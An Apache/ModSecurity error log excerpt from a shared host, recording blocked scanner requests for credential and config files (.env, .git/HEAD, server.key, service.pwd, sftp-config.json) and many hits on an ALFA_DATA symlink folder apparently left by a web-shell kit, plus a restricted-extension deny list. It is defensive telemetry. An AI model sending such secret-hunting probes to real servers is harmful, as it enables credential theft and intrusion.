"attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2B7LfQdvgLJqDYDw-HHwAAACc"]
[Sun Oct 25 00:13:32.384614 2026] [security2:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2B7LfQdvgLJqDYDw-HHwAAACc"]
[Sun Oct 25 00:13:32.384974 2026] [security2:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2B7LfQdvgLJqDYDw-HHwAAACc"]
[Sun Oct 25 00:13:32.394930 2026] [proxy_fcgi:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 00:13:32.409615 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2B7ONw4YxNM9StcJUGwgAAADI"]
[Sun Oct 25 00:13:32.409847 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2B7ONw4YxNM9StcJUGwgAAADI"]
[Sun Oct 25 00:13:32.410064 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2B7ONw4YxNM9StcJUGwgAAADI"]
[Sun Oct 25 00:13:32.511290 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at2B7ONw4YxNM9StcJUGwwAAADI"]
[Sun Oct 25 00:13:32.511519 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at2B7ONw4YxNM9StcJUGwwAAADI"]
[Sun Oct 25 00:13:32.511820 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at2B7ONw4YxNM9StcJUGwwAAADI"]
[Sun Oct 25 00:13:32.613271 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2B7ONw4YxNM9StcJUGxAAAADI"]
[Sun Oct 25 00:13:32.613478 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2B7ONw4YxNM9StcJUGxAAAADI"]
[Sun Oct 25 00:13:32.613786 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2B7ONw4YxNM9StcJUGxAAAADI"]
[Sun Oct 25 00:13:32.687930 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2B7GnoVolia533WIkgmAAAADQ"]
[Sun Oct 25 00:13:32.687943 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2B7NsOgdpl1YJRCNQVXwAAAEU"]
[Sun Oct 25 00:13:32.688181 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2B7GnoVolia533WIkgmAAAADQ"]
[Sun Oct 25 00:13:32.688317 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2B7NsOgdpl1YJRCNQVXwAAAEU"]
[Sun Oct 25 00:13:32.688480 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2B7GnoVolia533WIkgmAAAADQ"]
[Sun Oct 25 00:13:32.688657 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2B7NsOgdpl1YJRCNQVXwAAAEU"]
[Sun Oct 25 00:13:32.718377 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2B7ONw4YxNM9StcJUGxQAAADI"]
[Sun Oct 25 00:13:32.718570 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2B7ONw4YxNM9StcJUGxQAAADI"]
[Sun Oct 25 00:13:32.718902 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2B7ONw4YxNM9StcJUGxQAAADI"]
[Sun Oct 25 00:13:42.298890 2026] [ssl:error] [pid 2759048:tid 2759048] (70014)End of file found: [client 44.205.74.196:21848] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:13:46.553948 2026] [core:error] [pid 2759043:tid 2759043] (13)Permission denied: [client 85.208.96.205:34874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/alloc_calls
[Sun Oct 25 00:14:02.156955 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 52.45.15.233:25828] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:14:06.274103 2026] [ssl:error] [pid 2759048:tid 2759048] (70014)End of file found: [client 34.226.89.140:23276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:14:30.164075 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 44.218.6.93:27091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:14:38.213760 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 107.23.62.75:35476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:14:45.754987 2026] [core:error] [pid 2759048:tid 2759048] (13)Permission denied: [client 185.191.171.15:59048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/cache_dma
[Sun Oct 25 00:14:46.140408 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 18.213.70.100:36526] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:14:54.172075 2026] [ssl:error] [pid 2759055:tid 2759055] (5)Input/output error: [client 54.147.182.90:13718] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:14:58.159907 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.157.99.244:63258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:15:02.310216 2026] [ssl:error] [pid 2761145:tid 2761145] (5)Input/output error: [client 23.21.228.180:32221] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:15:06.148996 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 44.217.177.142:56428] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:15:10.170445 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 52.1.106.130:55353] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:15:19.393867 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 185.191.171.3:55798] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:15:26.175928 2026] [ssl:error] [pid 2761145:tid 2761145] (70014)End of file found: [client 3.93.211.16:20746] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:15:26.176126 2026] [security2:error] [pid 2761145:tid 2761145] [client 3.93.211.16:20746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup4/device/power/runtime_status"] [unique_id "at2CXhtjmvmExv1bHSMt5QAAAAA"]
[Sun Oct 25 00:15:26.176174 2026] [security2:error] [pid 2761145:tid 2761145] [client 3.93.211.16:20746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup4/device/power/runtime_status"] [unique_id "at2CXhtjmvmExv1bHSMt5QAAAAA"]
[Sun Oct 25 00:15:39.815742 2026] [authz_core:error] [pid 2759096:tid 2759096] [client 93.123.109.214:47668] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:16:02.207564 2026] [core:error] [pid 2759043:tid 2759043] (13)Permission denied: [client 3.209.174.110:11753] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty4/subsystem/ptmx/subsystem/ttyS1/device/tty/ttyS2/flags
[Sun Oct 25 00:16:10.252527 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 3.94.40.182:62886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/device:09/subsystem/devices/device:0c/eject
[Sun Oct 25 00:16:14.280984 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.203.68.145:52798] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:16:15.714940 2026] [ssl:error] [pid 2761145:tid 2761145] (70014)End of file found: [client 52.203.68.145:6353] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:16:22.284541 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 98.83.226.125:17569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:16:26.156097 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 18.213.27.222:63659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:16:30.155636 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.71.46.142:46384] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:16:42.320705 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 18.206.47.187:55984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:16:42.320968 2026] [security2:error] [pid 2759096:tid 2759096] [client 18.206.47.187:55984] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/physical_node/vendor"] [unique_id "at2CqmTNY6y0aXZ6joCagAAAADk"]
[Sun Oct 25 00:16:42.320999 2026] [security2:error] [pid 2759096:tid 2759096] [client 18.206.47.187:55984] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/physical_node/vendor"] [unique_id "at2CqmTNY6y0aXZ6joCagAAAADk"]
[Sun Oct 25 00:16:46.186381 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.166.104.83:35054] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:16:53.227385 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 185.191.171.2:29530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:16:59.533534 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 185.191.171.11:45126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_defrag_ipv6/sections/__ex_table
[Sun Oct 25 00:17:10.307467 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 34.203.111.15:47266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:17:14.152250 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 54.144.185.255:8982] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:17:22.264559 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 100.28.49.152:63399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:17:26.307475 2026] [ssl:error] [pid 2759043:tid 2759043] (70014)End of file found: [client 54.84.93.8:16200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:17:30.180527 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 34.193.2.57:16057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:17:34.160800 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 100.25.120.246:34201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:17:38.263953 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 100.29.63.24:36012] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:17:46.356242 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 45.137.203.60:60494] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:17:48.217257 2026] [security2:error] [pid 2762155:tid 2762155] [client 93.123.109.214:43978] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/sftp-config.json"] [unique_id "at2C7H0T_h5AYRDFTkS1LQAAAAo"]
[Sun Oct 25 00:17:48.217511 2026] [security2:error] [pid 2762155:tid 2762155] [client 93.123.109.214:43978] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/sftp-config.json"] [unique_id "at2C7H0T_h5AYRDFTkS1LQAAAAo"]
[Sun Oct 25 00:17:48.217876 2026] [security2:error] [pid 2762155:tid 2762155] [client 93.123.109.214:43978] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/sftp-config.json"] [unique_id "at2C7H0T_h5AYRDFTkS1LQAAAAo"]
[Sun Oct 25 00:17:49.228502 2026] [security2:error] [pid 2762168:tid 2762168] [client 93.123.109.214:44328] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/error.log"] [unique_id "at2C7YN43zRYns3pglB7dgAAABg"]
[Sun Oct 25 00:17:49.229068 2026] [security2:error] [pid 2762168:tid 2762168] [client 93.123.109.214:44328] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/error.log"] [unique_id "at2C7YN43zRYns3pglB7dgAAABg"]
